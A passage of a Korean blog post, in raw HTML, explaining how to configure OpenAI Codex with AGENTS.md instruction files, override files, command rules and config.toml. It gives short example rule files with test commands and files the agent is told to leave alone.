&lt;pre class=&quot;markdown&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 14px 18px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.6; overflow-x: auto; margin: 0 0 10px 0;&quot;&gt;&lt;code&gt;# AGENTS.md

## 빌드와 테스트
- 작업을 완료했다고 말하기 전에 `npm test`를 실행한다.

## 수정 금지
- `.env`, `.env.local`은 읽거나 수정하지 않는다. API 키가 들어 있을 수 있다.&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 0; font-size: 13px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;중요한 점은 영어 표현이 아니라 명확한 완료 조건과 금지 경계다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 목차 박스 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목차&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;왜 규칙을 파일로 관리해야 하는가&lt;/li&gt;
&lt;li&gt;AGENTS.md 쉽게 이해하기&lt;/li&gt;
&lt;li&gt;AGENTS.md와 로컬 메모리의 차이&lt;/li&gt;
&lt;li&gt;Rules 파일로 명령어 제어하기&lt;/li&gt;
&lt;li&gt;config.toml 핵심 설정&lt;/li&gt;
&lt;li&gt;여러 규칙이 충돌할 때&lt;/li&gt;
&lt;li&gt;팀에 적용하는 방법&lt;/li&gt;
&lt;li&gt;정리와 Part 5 예고&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; margin: 20px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px; text-align: left; width: 14.7674%;&quot;&gt;개념&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px; text-align: left; width: 38.7209%;&quot;&gt;한 줄 설명&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px; text-align: left; width: 46.3953%;&quot;&gt;언제 쓰나&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px; width: 14.7674%;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px; width: 38.7209%;&quot; data-ke-size=&quot;size16&quot;&gt;팀 규칙을 자연어로 적어 두는 프로젝트 지침 파일&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px; width: 46.3953%;&quot; data-ke-size=&quot;size16&quot;&gt;빌드&amp;middot;테스트 명령, 금지 디렉토리, 코딩 컨벤션을 Codex에 전달할 때&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px; width: 14.7674%;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;.rules&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px; width: 38.7209%;&quot; data-ke-size=&quot;size16&quot;&gt;명령어 실행 정책을 선언하는 파일 (허용&amp;middot;확인&amp;middot;차단)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px; width: 46.3953%;&quot; data-ke-size=&quot;size16&quot;&gt;위험한 명령은 막고, 안전한 명령은 자동 허용할 때&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px; width: 14.7674%;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;config.toml&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px; width: 38.7209%;&quot; data-ke-size=&quot;size16&quot;&gt;모델&amp;middot;승인 정책&amp;middot;샌드박스 수준 등 기본 실행 환경 설정 파일&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px; width: 46.3953%;&quot; data-ke-size=&quot;size16&quot;&gt;팀 전체 실행 환경을 통일하거나 CI 자동화 환경을 구성할 때&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px; width: 14.7674%;&quot;&gt;로컬 메모리&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px; width: 38.7209%;&quot; data-ke-size=&quot;size16&quot;&gt;개인 작업 맥락과 선호를 세션 간에 이어주는 보조 기능&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 10px; width: 46.3953%;&quot; data-ke-size=&quot;size16&quot;&gt;나만 반복 사용하는 워크플로&amp;middot;개인 취향을 저장할 때&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section1&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 왜 규칙을 파일로 관리해야 하는가&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin: 8px 0 16px; color: #444;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심:&lt;/b&gt; 채팅에 적은 규칙은 세션이 끝나면 사라진다. 저장소 파일로 옮겨야 다음 세션&amp;middot;다음 팀원에게 같은 기준이 전달된다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;1440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cK0Z0m/dJMcahElRLN/SW7D3ipmpD9NXAur09kJA1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cK0Z0m/dJMcahElRLN/SW7D3ipmpD9NXAur09kJA1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cK0Z0m/dJMcahElRLN/SW7D3ipmpD9NXAur09kJA1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcK0Z0m%2FdJMcahElRLN%2FSW7D3ipmpD9NXAur09kJA1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2560&quot; height=&quot;1440&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;1440&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;팀에서 Codex를 쓰기 시작하면 처음에는 프롬프트가 규칙 저장소처럼 쓰인다. &quot;테스트 먼저 돌려라&quot;, &quot;이 디렉토리는 건드리지 마라&quot;, &quot;PR 설명은 이 형식으로 써라&quot; 같은 지시를 매번 대화에 붙인다. 문제는 그 방식이 오래가지 않는다는 점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OpenAI의 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/customization&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Customization 공식 문서&lt;/a&gt;에서는&amp;nbsp;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;를 저장소와 함께 이동하는 지속적인 프로젝트 가이드로 설명한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 파일은 Codex가 프로젝트 작업 지침으로 참고하는 규칙층이므로, 반복되는 리뷰 피드백을 한 번의 대화가 아니라 저장소 규칙으로 바꿀 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;핵심은 &quot;프롬프트를 길게 쓰는 것&quot;이 아니다. 팀이 반복해서 지적하는 규칙만 파일로 올려서 다음 세션과 다음 팀원에게 같은 기준이 적용되게 만드는 것이다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2062&quot; data-origin-height=&quot;1128&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bGCSS1/dJMcacJRRjZ/HI7eGOpayIoGysxG7jGT6k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bGCSS1/dJMcacJRRjZ/HI7eGOpayIoGysxG7jGT6k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bGCSS1/dJMcacJRRjZ/HI7eGOpayIoGysxG7jGT6k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbGCSS1%2FdJMcacJRRjZ%2FHI7eGOpayIoGysxG7jGT6k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2062&quot; height=&quot;1128&quot; data-origin-width=&quot;2062&quot; data-origin-height=&quot;1128&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 백엔드 팀이 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;pytest&lt;/code&gt;를 기본 검증 명령으로 쓰고, 프론트엔드 팀이 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;pnpm test&lt;/code&gt;와 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;pnpm lint&lt;/code&gt;를 함께 요구한다고 하자. 이 규칙이 채팅에만 있으면 새 세션마다 누락된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;반대로 저장소의 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;에 적어 두면 Codex가 같은 프로젝트 안에서 일할 때 반복해서 참고할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section2&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. AGENTS.md 쉽게 이해하기&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin: 8px 0 16px; color: #444;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심:&lt;/b&gt; AGENTS.md는 Codex가 프로젝트를 열 때 자동으로 읽는 팀 규칙 파일이다. 처음엔 10줄 이내로 시작하면 충분하다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;1440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dmfPbx/dJMcadhGdpv/xxZ5bRi8oybOcHWRADHTkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dmfPbx/dJMcadhGdpv/xxZ5bRi8oybOcHWRADHTkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dmfPbx/dJMcadhGdpv/xxZ5bRi8oybOcHWRADHTkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdmfPbx%2FdJMcadhGdpv%2FxxZ5bRi8oybOcHWRADHTkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2560&quot; height=&quot;1440&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;1440&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2.1 세 위치를 구분한다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서 기준으로 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;는 크게 세 위치에 둘 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/customization&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Customization 문서&lt;/a&gt;와 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/guides/agents-md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;AGENTS.md 공식 가이드&lt;/a&gt;는 전역 파일, 저장소 루트 파일, 하위 디렉토리 파일을 구분한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;위치&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;적용 범위&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;적기 좋은 내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;~/.codex/AGENTS.md&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;모든 저장소에 걸친 개인 선호&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;응답 길이, 리뷰 스타일, 기본 커뮤니케이션 방식&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;저장소 전체의 팀 규칙&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;빌드/테스트 명령, 리뷰 기준, 프로젝트 구조&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;packages/api/AGENTS.md&lt;/code&gt; 같은 하위 파일&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;해당 디렉토리 작업&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;모듈별 금지 사항, 로컬 테스트 명령, 도메인 규칙&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전역 파일은 개인 취향, 루트 파일은 팀 규칙, 하위 파일은 특정 영역 규칙이다. 여기서 전역은 운영체제 전체 설정이 아니라 Codex 홈 디렉토리의 공통 지침층을 뜻한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;루트는 현재 프로젝트의 가장 바깥 폴더다. 팀에서 공유해야 하는 내용은 개인 전역 파일이 아니라 저장소 안의 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;에 둔다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2152&quot; data-origin-height=&quot;1162&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qzYNg/dJMb990GiB0/bmhWaxK1WtKUZgR6S6CZ7K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qzYNg/dJMb990GiB0/bmhWaxK1WtKUZgR6S6CZ7K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qzYNg/dJMb990GiB0/bmhWaxK1WtKUZgR6S6CZ7K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqzYNg%2FdJMb990GiB0%2FbmhWaxK1WtKUZgR6S6CZ7K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2152&quot; height=&quot;1162&quot; data-origin-width=&quot;2152&quot; data-origin-height=&quot;1162&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;pre class=&quot;reasonml&quot; style=&quot;background: #f8f9fa; border: 1px solid #dee2e6; border-radius: 8px; padding: 16px 20px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.7; overflow-x: auto; margin: 16px 0; color: #333;&quot;&gt;&lt;code&gt;Codex 지침 체인 (세션 시작 시 순서대로 로드)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  ~/.codex/AGENTS.md          &amp;larr; 1단계: 전역 (개인 선호)
         │
         ▼
  {repo}/AGENTS.md            &amp;larr; 2단계: 저장소 루트 (팀 규칙)
  (같은 위치에 AGENTS.override.md 있으면 대체)
         │
         ▼
  {subdir}/AGENTS.md          &amp;larr; 3단계: 하위 디렉토리 (모듈별)
  (같은 위치에 AGENTS.override.md 있으면 대체)

─────────────────────────────────────────
  config.toml                 &amp;larr; 모델&amp;middot;승인&amp;middot;샌드박스 런타임 설정
  .rules                      &amp;larr; 셸 명령 허용/차단 정책
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 12px; border-left: 5px solid #6c757d; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px;&quot; data-ke-size=&quot;size16&quot;&gt;같은 위치에 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.override.md&lt;/code&gt;가 있으면 그 디렉토리의 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;는 무시되고 override 파일만 지침으로 포함된다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;AGENTS.override.md&lt;/b&gt;는 팀 전체 AGENTS.md 규칙 중 특정 폴더에서만 일부를 덮어쓸 때 쓰는 로컬 예외 파일이라고 보면 된다. 디렉토리마다 최대 한 개의 지침 파일만 포함되므로, 임시로 강한 예외가 필요할 때는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.override.md&lt;/code&gt;를 쓰고 끝나면 제거하는 방식이 안전하다. Codex는 세션이나 실행을 시작할 때 지침 체인을 만들기 때문에, 지침 파일을 바꾼 뒤 현재 세션에 바로 반영되지 않으면 Codex를 다시 시작하거나 새 명령으로 확인한다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;예를 들어 계약직 개발자에게 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;tests/integration/&lt;/code&gt;만 접근을 허용하고 나머지 테스트는 원래 규칙대로 막을 때 이렇게 쓴다.&lt;/p&gt;
&lt;pre class=&quot;vala&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 14px 16px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.6; overflow-x: auto; margin: 0;&quot;&gt;&lt;code&gt;# tests/AGENTS.override.md
# 원본 AGENTS.md: &quot;tests/ 수정 금지&quot;
# 이 파일이 있으면 tests/ 안에서는 아래 규칙만 적용된다

## 덮어쓰기 규칙 (feature/contractor-scope 브랜치용)
- tests/integration/ 하위 파일은 수정 가능하다.
- tests/unit/ 하위 파일은 원래 규칙대로 수정 금지.
- 작업 완료 후 이 파일을 삭제하고 PR을 올린다.&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;border-left: 6px solid #5c7cfa; padding: 16px 20px; background-color: #f3f0ff; border-radius: 0 8px 8px 0; margin: 20px 0;&quot;&gt;&lt;b&gt;AGENTS.md는 길수록 Codex가 잘 따를까?&lt;/b&gt;
&lt;p style=&quot;margin: 10px 0 6px;&quot; data-ke-size=&quot;size16&quot;&gt;좋은 시스템 프롬프트는 자세할수록 좋다는 경험을 가진 개발자라면 AGENTS.md도 길수록 낫다고 느낀다. &lt;br /&gt;&lt;br /&gt;실제로는 반대다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;날카로운 규칙 10줄 &amp;gt; 위키 dump 100줄.&lt;/b&gt; 파일이 길어질수록 중요한 규칙이 잡음에 묻히고, Codex가 읽어야 할 토큰도 늘어난다. 공식 AGENTS.md 가이드도 &quot;중요한 지시사항만으로 시작하라&quot;고 명시한다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;그래도 올려야 하는 것은 딱 세 가지다: ① 반복해서 리뷰에서 지적되는 패턴, ② 새 세션에서 Codex가 놓치는 프로젝트 구조, ③ 실수하면 되돌리기 어려운 금지 명령. 그 외는 프롬프트에서 그때그때 말하면 된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2.2 무엇을 적어야 효과적인가&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;에 빌드와 테스트 명령, 리뷰 기대사항, 저장소별 컨벤션, 디렉토리별 지시사항을 적는 것을 권장한다. 동시에 &quot;중요한 지시사항만으로 시작하라&quot;는 방향도 함께 제시한다(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/customization&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Customization 문서&lt;/a&gt;).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 첫 버전부터 회사 위키 전체를 옮길 필요는 없다. Codex가 자주 틀리는 부분, 사람이 반복해서 리뷰하는 부분, 프로젝트 구조상 반드시 지켜야 하는 부분만 먼저 적으면 된다. 처음 AGENTS.md를 만들 때 어디서부터 시작해야 할지 막막하다면 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/init&lt;/code&gt; 명령을 써볼 수 있다. Codex가 저장소 구조를 읽고 AGENTS.md 초안을 생성해준다.&lt;/p&gt;
&lt;pre class=&quot;sql&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;# AGENTS.md

## 프로젝트 규칙
- 프론트엔드 명령은 `pnpm`을 사용한다. `npm install`은 사용하지 않는다.
- 작업을 완료했다고 말하기 전에 `pnpm lint`와 `pnpm test`를 실행한다.
- 변경 범위는 요청받은 기능이나 버그 수정에 한정한다.
- `generated/` 아래 파일은 직접 편집하지 않는다.

## 백엔드
- API 코드는 `apps/api`에 둔다.
- 백엔드 변경 후에는 `pytest tests/api`를 실행한다.
- 데이터베이스 마이그레이션은 커밋 전에 검토를 받아야 한다.

## 프론트엔드
- UI 컴포넌트는 `apps/web/components`에 둔다.
- 일회성 색상값보다 기존 디자인 토큰을 우선 사용한다.
- 아이콘만 있는 버튼에는 접근성 라벨을 추가한다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 예시는 일부러 짧다. 좋은 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;는 긴 문서가 아니라 작업 중 판단이 갈리는 지점을 줄이는 문서다. 특히 &quot;하지 말아야 할 일&quot;과 &quot;완료라고 말하기 전에 돌릴 명령&quot;을 명확히 적으면 효과가 크다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;내용&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;어디에 둘까&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;이번 요청에서만 필요한 제약&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;프롬프트&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;다음 작업까지 남길 필요가 없다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; vertical-align: top;&quot;&gt;팀이 항상 지켜야 하는 빌드&amp;middot;테스트&amp;middot;리뷰 규칙&lt;/td&gt;
